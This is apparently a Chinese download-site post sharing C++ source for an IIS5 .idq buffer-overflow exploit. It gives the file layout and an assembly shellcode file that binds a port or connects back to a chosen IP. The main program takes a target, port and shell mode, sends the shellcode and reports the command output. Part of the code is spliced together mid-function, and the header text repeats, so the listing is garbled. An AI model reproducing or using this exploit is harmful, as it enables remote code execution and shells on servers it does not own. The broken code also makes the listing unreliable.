IIS5_IDQ溢出。。。从Internet上学习到的,也让他回归internet.<br><br> <br><br>文件结构:<br><br>cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp <br>头文件: SkShellCodeFunc.h <br>功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!) <br>中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出. <br> <br><br>文件1:iisidqoverflow.cpp (主文件)<br><br><br><br>#include <br>#include "snakesocket.h"<br>#include "wsastart.h"<br>#include "SkShellCodeFunc.h"<br><br>//function predeclare.<br>//取得 需要 地址 信息<br>void GetNecesProcAddr( char *szInfo, int iMaxSize);<br>//生成我的 shell code代码.<br>int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);<br><br><br>//宣示帮助.<br>void ShowHelp()<br>{<br>int i;<br><br>printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>\r\n");<br>printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>\r\n");<br>printf("\r\n\r\n 其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c + dir\"");<br>printf("\r\n 如果为1,那么,将输入新的命令.");<br><br>printf("\r\n\r\n支持的操作系统 类型: ----\r\n");<br><br>for( i=0; i 0){<br>send( msocket, szBuff, iLen, 0);<br>}<br><br>return (iLen>0)?true:false;<br>}<br><br>int main(int argc, char *argv[])<br>{<br>CWSAStart wsaStart;<br>CSnakeSocket snakeSocket;<br>WORD wPort;<br>DWORD dwIP;<br><br>if( argc > 1){<br>if( stricmp( argv[1], "GetAddr") == 0){<br>char szTemp[12048];<br>GetNecesProcAddr(szTemp, sizeof(szTemp) );<br><br>printf("%s\r\n",szTemp);<br><br>OSVERSIONINFO osInfo;<br><br>osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);<br>GetVersionEx( &osInfo);<br>printf("Version: %d - %d. Build:%d. ID:%d\r\n[%s]\r\n", <br>osInfo.dwMajorVersion, osInfo.dwMinorVersion,<br>osInfo.dwBuildNumber, osInfo.dwPlatformId,<br>osInfo.szCSDVersion);<br>return 0;<br>}<br>}<br>if( argc < 5){<br>ShowHelp();<br>return 0;<br>}<br>wsaStart.StartUP();<br><br>SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);<br>if( SystemType >= MAX_SYSTEM_TYPE_NUM){<br>printf("操作系统类型 不正确.\r\n");<br>ShowHelp();<br>return 0;<br>}<br>dwIP = snakeSocket.GetHostAddr( argv[2]);<br>if( dwIP == 0){<br>printf("输入地址不对.\r\n");<br>return 0;<br>}<br><br>Sk_ConnectType connectType;<br>ConnectStruct connectStruct;<br>char szCommand[129]="cmd.exe /c dir c:\\";<br>BOOL bInputCommand=false;<br><br>connectType = (Sk_ConnectType)atoi(argv[4]);<br>connectStruct.byConnectType = connectType;<br>switch(connectType){<br>case LISTEN_ON_PORT:<br>connectStruct.wListenPort = atoi(argv[5]);<br>if( argc >= 7){<br>bInputCommand = true;<br>}<br>break;<br>case CONNECT_TO_HOST:<br>if( argc < 6){<br>printf("参数不足够.\r\n");<br>return 0;<br>}<br>connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);<br>connectStruct.wConnectPort = atoi(argv[6]);<br>if( argc >= 8){<br>bInputCommand = true;<br>}<br>break;<br>default:<br>printf("溢出类型不正确.\r\n");<br>return 0;<br>}<br><br>if( bInputCommand){<br>printf("\r\n请输入绑定的命令:");<br>scanf( "%s",szCommand);<br>}<br><br>snakeSocket.CreateSocket();<br>wPort = atoi(argv[3]);<br><br>if( !snakeSocket.connect( argv[2], wPort)){<br>printf("连接目的机器 %s:%d 失败.\r\n", argv[2], wPort);<br>return 0;<br>}<br>else<br>printf("连接目的机器 %s:%d OK.\r\n", argv[2], wPort);<br><br>BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);<br><br>if( bValue){<br>printf( "发送shellcode 到 %s:%d OK\r\n", argv[2], wPort);<br>printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand);<br>}<br>else{<br>printf( "发送失败, 对方系统类型不支持\r\n");<br>}<br><br>snakeSocket.CloseSocket();<br>wsaStart.CleanUP();<br><br>return 0;<br>}
文件结构:
cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
头文件: SkShellCodeFunc.h
功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
文件1:iisidqoverflow.cpp (主文件)
#include
#include "snakesocket.h"
#include "wsastart.h"
#include "SkShellCodeFunc.h"
//function predeclare.
//取得 需要 地址 信息
void GetNecesProcAddr( char *szInfo, int iMaxSize);
//生成我的 shell code代码.
int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);
//宣示帮助.
void ShowHelp()
- 粉丝: 0
- 资源: 1
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助